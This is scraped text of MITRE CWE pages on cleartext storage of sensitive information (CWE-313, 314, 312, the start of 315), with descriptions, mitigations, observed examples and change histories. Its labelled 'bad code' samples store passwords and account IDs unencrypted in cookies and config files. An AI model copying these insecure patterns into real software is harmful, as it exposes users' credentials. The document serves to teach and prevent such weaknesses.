Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1348OWASP Top Ten 2021 Category A04:2021 - Insecure Design
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1402Comprehensive Categorization: Encryption
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Terminology

Different people use "cleartext" and "plaintext" to mean the same thing: the lack of encryption. However, within cryptography, these have more precise meanings. Plaintext is the information just before it is fed into a cryptographic algorithm, including already-encrypted text. Cleartext is any information that is unencrypted, although it might be in an encoded form that is not easily human-readable (such as base64 encoding).
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERPlaintext Storage in File or on Disk
Software Fault PatternsSFP23Exposed Data
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2010-12-13CWE Content TeamMITRE
updated Demonstrative_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships
2013-07-17CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, Description, Name, Observed_Examples, Potential_Mitigations, Terminology_Notes
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Modes_of_Introduction, Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Demonstrative_Examples
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Plaintext Storage in File or on Disk
2013-07-17Plaintext Storage in a File or on Disk

CWE-314: Cleartext Storage in the Registry

Weakness ID: 314
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product stores sensitive information in cleartext in the registry.
+ Extended Description
Attackers can read the information by accessing the registry key. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.312Cleartext Storage of Sensitive Information
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1013Encrypt Data
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and DesignOMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Application Data

+ Observed Examples
ReferenceDescription
Cleartext passwords in registry key.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1402Comprehensive Categorization: Encryption
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Terminology

Different people use "cleartext" and "plaintext" to mean the same thing: the lack of encryption. However, within cryptography, these have more precise meanings. Plaintext is the information just before it is fed into a cryptographic algorithm, including already-encrypted text. Cleartext is any information that is unencrypted, although it might be in an encoded form that is not easily human-readable (such as base64 encoding).
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERPlaintext Storage in Registry
Software Fault PatternsSFP23Exposed Data
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2013-07-17CWE Content TeamMITRE
updated Applicable_Platforms, Description, Name, Observed_Examples, Potential_Mitigations, Terminology_Notes
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Modes_of_Introduction, Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Plaintext Storage in Registry
2013-07-17Plaintext Storage in the Registry

CWE-312: Cleartext Storage of Sensitive Information

Weakness ID: 312
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product stores sensitive information in cleartext within a resource that might be accessible to another control sphere.
+ Extended Description

Because the information is stored in cleartext (i.e., unencrypted), attackers could potentially read it. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.

When organizations adopt cloud services, it can be easier for attackers to access the data from anywhere on the Internet.

In some systems/environments such as cloud, the use of "double encryption" (at both the software and hardware layer) might be required, and the developer might be solely responsible for both layers, instead of shared responsibility with the administrator of the broader system/environment.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.922Insecure Storage of Sensitive Information
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.311Missing Encryption of Sensitive Data
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.313Cleartext Storage in a File or on Disk
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.314Cleartext Storage in the Registry
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.315Cleartext Storage of Sensitive Information in a Cookie
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.316Cleartext Storage of Sensitive Information in Memory
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.317Cleartext Storage of Sensitive Information in GUI
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.318Cleartext Storage of Sensitive Information in Executable
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.526Cleartext Storage of Sensitive Information in an Environment Variable
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.199Information Management Errors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.311Missing Encryption of Sensitive Data
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1013Encrypt Data
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and DesignOMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Cloud Computing (Undetermined Prevalence)

Class: ICS/OT (Undetermined Prevalence)

Class: Mobile (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Application Data

An attacker with access to the system could read sensitive information stored in cleartext.
+ Demonstrative Examples

Example 1

The following code excerpt stores a plaintext user account ID in a browser cookie.

(bad code)
Example Language: Java 
response.addCookie( new Cookie("userAccountID", acctID);

Because the account ID is in plaintext, the user's account information is exposed if their computer is compromised by an attacker.

Example 2

This code writes a user's login information to a cookie so the user does not have to login again later.

(bad code)
Example Language: PHP 
function persistLogin($username, $password){
$data = array("username" => $username, "password"=> $password);
setcookie ("userdata", $data);
}

The code stores the user's username and password in plaintext in a cookie on the user's machine. This exposes the user's login information if their computer is compromised by an attacker. Even if the user's machine is not compromised, this weakness combined with cross-site scripting (CWE-79) could allow an attacker to remotely copy the cookie.

Also note this example code also exhibits Plaintext Storage in a Cookie (CWE-315).

Example 3

The following code attempts to establish a connection, read in a password, then store it to a buffer.

(bad code)
Example Language:
server.sin_family = AF_INET; hp = gethostbyname(argv[1]);
if (hp==NULL) error("Unknown host");
memcpy( (char *)&server.sin_addr,(char *)hp->h_addr,hp->h_length);
if (argc < 3) port = 80;
else port = (unsigned short)atoi(argv[3]);
server.sin_port = htons(port);
if (connect(sock, (struct sockaddr *)&server, sizeof server) < 0) error("Connecting");
...
while ((n=read(sock,buffer,BUFSIZE-1))!=-1) {

write(dfd,password_buffer,n);
...

While successful, the program does not encrypt the data before writing it to a buffer, possibly exposing it to unauthorized actors.

Example 4

The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in cleartext.

This Java example shows a properties file with a cleartext username / password pair.

(bad code)
Example Language: Java 

# Java Web App ResourceBundle properties file
...
webapp.ldap.username=secretUsername
webapp.ldap.password=secretPassword
...

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in cleartext.

(bad code)
Example Language: ASP.NET 
...
<connectionStrings>
<add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;" providerName="System.Data.Odbc" />
</connectionStrings>
...

Username and password information should not be included in a configuration file or a properties file in cleartext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information.

Example 5

In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.

At least one OT product stored a password in plaintext.

Example 6

In 2021, a web site operated by PeopleGIS stored data of US municipalities in Amazon Web Service (AWS) Simple Storage Service (S3) buckets.

(bad code)
Example Language: Other 
A security researcher found 86 S3 buckets that could be accessed without authentication (CWE-306) and stored data unencrypted (CWE-312). These buckets exposed over 1000 GB of data and 1.6 million files including physical addresses, phone numbers, tax documents, pictures of driver's license IDs, etc. [REF-1296] [REF-1295]

While it was not publicly disclosed how the data was protected after discovery, multiple options could have been considered.

(good code)
Example Language: Other 
The sensitive information could have been protected by ensuring that the buckets did not have public read access, e.g., by enabling the s3-account-level-public-access-blocks-periodic rule to Block Public Access. In addition, the data could have been encrypted at rest using the appropriate S3 settings, e.g., by enabling server-side encryption using the s3-bucket-server-side-encryption-enabled setting. Other settings are available to further prevent bucket data from being leaked. [REF-1297]

Example 7

Consider the following PowerShell command examples for encryption scopes of Azure storage objects. In the first example, an encryption scope is set for the storage account.

(bad code)
Example Language: Shell 
New-AzStorageEncryptionScope -ResourceGroupName "MyResourceGroup" -AccountName "MyStorageAccount" -EncryptionScopeName testscope -StorageEncryption

The result (edited and formatted for readability) might be:

(bad code)
Example Language: Other 
ResourceGroupName: MyResourceGroup, StorageAccountName: MyStorageAccount

Name State Source RequireInfrastructureEncryption
testscope Enabled Microsoft.Storage

However, the empty string under RequireInfrastructureEncryption indicates this service was not enabled at the time of creation, because the -RequireInfrastructureEncryption argument was not specified in the command.

Including the -RequireInfrastructureEncryption argument addresses the issue:

(good code)
Example Language: Shell 
New-AzStorageEncryptionScope -ResourceGroupName "MyResourceGroup" -AccountName "MyStorageAccount" -EncryptionScopeName testscope -StorageEncryption -RequireInfrastructureEncryption

This produces the report:

(result)
Example Language: Other 
ResourceGroupName: MyResourceGroup, StorageAccountName: MyStorageAccount

Name State Source RequireInfrastructureEncryption
testscope Enabled Microsoft.Keyvault True

In a scenario where both software and hardware layer encryption is required ("double encryption"), Azure's infrastructure encryption setting can be enabled via the CLI or Portal. An important note is that infrastructure hardware encryption cannot be enabled or disabled after a blob is created. Furthermore, the default value for infrastructure encryption is disabled in blob creations.

+ Observed Examples
ReferenceDescription
Remote Terminal Unit (RTU) uses a driver that relies on a password stored in plaintext.
password and username stored in cleartext in a cookie
password stored in cleartext in a file with insecure permissions
chat program disables SSL in some circumstances even when the user says to use SSL.
Chain: product uses an incorrect public exponent when generating an RSA key, which effectively disables the encryption
storage of unencrypted passwords in a database
storage of unencrypted passwords in a database
product stores a password in cleartext in memory
storage of a secret key in cleartext in a temporary file
SCADA product uses HTTP Basic Authentication, which is not encrypted
login credentials stored unencrypted in a registry key
Plaintext credentials in world-readable file.
Password in cleartext in config file.
Password in cleartext in config file.
Decrypted copy of a message written to disk given a combination of options and when user replies to an encrypted message.
Plaintext storage of private key and passphrase in log file when user imports the key.
Admin password in plaintext in a cookie.
Default configuration has cleartext usernames/passwords in cookie.
Usernames/passwords in cleartext in cookies.
Authentication information stored in cleartext in a cookie.
+ Potential Mitigations

Phases: Implementation; System Configuration; Operation

When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to encrypt the data at rest. [REF-1297] [REF-1299] [REF-1301]
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.816OWASP Top Ten 2010 Category A7 - Insecure Cryptographic Storage
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.934OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1029OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1348OWASP Top Ten 2021 Category A04:2021 - Insecure Design
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1366ICS Communications: Frail Security in Protocols
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1368ICS Dependencies (& Architecture): External Digital Systems
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1402Comprehensive Categorization: Encryption
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Terminology

Different people use "cleartext" and "plaintext" to mean the same thing: the lack of encryption. However, within cryptography, these have more precise meanings. Plaintext is the information just before it is fed into a cryptographic algorithm, including already-encrypted text. Cleartext is any information that is unencrypted, although it might be in an encoded form that is not easily human-readable (such as base64 encoding).
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERPlaintext Storage of Sensitive Information
Software Fault PatternsSFP23Exposed Data
ISA/IEC 62443Part 4-2Req CR 4.1 a)
ISA/IEC 62443Part 3-3Req SR 4.1
+ References
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 9, "Protecting Secret Data" Page 299. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 2, "Common Vulnerabilities of Encryption", Page 43. 1st Edition. Addison Wesley. 2006.
[REF-172] Chris Wysopal. "Mobile App Top 10 List". 2010-12-13. <https://www.veracode.com/blog/2010/12/mobile-app-top-10-list>. URL validated: 2023-04-07.
[REF-1283] Forescout Vedere Labs. "OT:ICEFALL: The legacy of "insecure by design" and its implications for certifications and risk management". 2022-06-20. <https://www.forescout.com/resources/ot-icefall-report/>.
[REF-1295] WizCase. "Over 80 US Municipalities' Sensitive Information, Including Resident's Personal Data, Left Vulnerable in Massive Data Breach". 2021-07-20. <https://www.wizcase.com/blog/us-municipality-breach-report/>.
[REF-1296] Jonathan Greig. "1,000 GB of local government data exposed by Massachusetts software company". 2021-07-22. <https://www.zdnet.com/article/1000-gb-of-local-government-data-exposed-by-massachusetts-software-company/>.
[REF-1297] Amazon. "AWS Foundational Security Best Practices controls". 2022. <https://docs.aws.amazon.com/securityhub/latest/userguide/securityhub-controls-reference.html>. URL validated: 2023-04-07.
[REF-1299] Microsoft. "Azure encryption overview". 2022-08-18. <https://learn.microsoft.com/en-us/azure/security/fundamentals/encryption-overview>. URL validated: 2022-10-11.
[REF-1301] Google Cloud. "Default encryption at rest". 2022-10-11. <https://cloud.google.com/docs/security/encryption/default-encryption>. URL validated: 2022-10-11.
[REF-1307] Center for Internet Security. "CIS Microsoft Azure Foundations Benchmark version 1.5.0". Section 3.2. 2022-08-16. <https://www.cisecurity.org/benchmark/azure>. URL validated: 2023-01-19.
[REF-1310] Microsoft. "Enable infrastructure encryption for double encryption of data". 2022-07-14. <https://learn.microsoft.com/en-us/azure/storage/common/infrastructure-encryption-enable>. URL validated: 2023-01-24.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Contributions
Contribution DateContributorOrganization
2023-04-25"Mapping CWE to 62443" Sub-Working GroupCWE-CAPEC ICS/OT SIG
Suggested mappings to ISA/IEC 62443.
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-01-12CWE Content TeamMITRE
updated Description, Name
2010-02-16CWE Content TeamMITRE
updated References
2010-06-21CWE Content TeamMITRE
updated Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Observed_Examples, References, Related_Attack_Patterns, Relationships
2013-02-21CWE Content TeamMITRE
updated Applicable_Platforms, References
2013-07-17CWE Content TeamMITRE
updated Description, Relationships, Terminology_Notes
2014-07-30CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships, Taxonomy_Mappings
2017-05-03CWE Content TeamMITRE
updated Related_Attack_Patterns
2017-11-08CWE Content TeamMITRE
updated Modes_of_Introduction, References, Relationships
2018-01-23CWE Content TeamMITRE
updated Abstraction, Relationships
2018-03-27CWE Content TeamMITRE
updated References, Relationships, Type
2019-06-20CWE Content TeamMITRE
updated Relationships, Type
2020-02-24CWE Content TeamMITRE
updated Applicable_Platforms, Relationships
2021-03-15CWE Content TeamMITRE
updated Demonstrative_Examples
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-10-13CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, Description, Observed_Examples, Potential_Mitigations, References
2023-01-31CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, Description, References, Relationships
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, References, Relationships, Taxonomy_Mappings
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes, Relationships
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Taxonomy_Mappings
+ Previous Entry Names
Change DatePrevious Entry Name
2009-01-12Plaintext Storage of Sensitive Information

CWE-315: Cleartext Storage of Sensitive Information in a Cookie

Weakness ID: 315
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product stores sensitive information in cleartext in a cookie.
+ Extended Description
Attackers can use widely-available tools to view the cookie and read the sensitive information. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.312Cleartext Storage of Sensitive Information
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1013Encrypt Data
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and DesignOMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
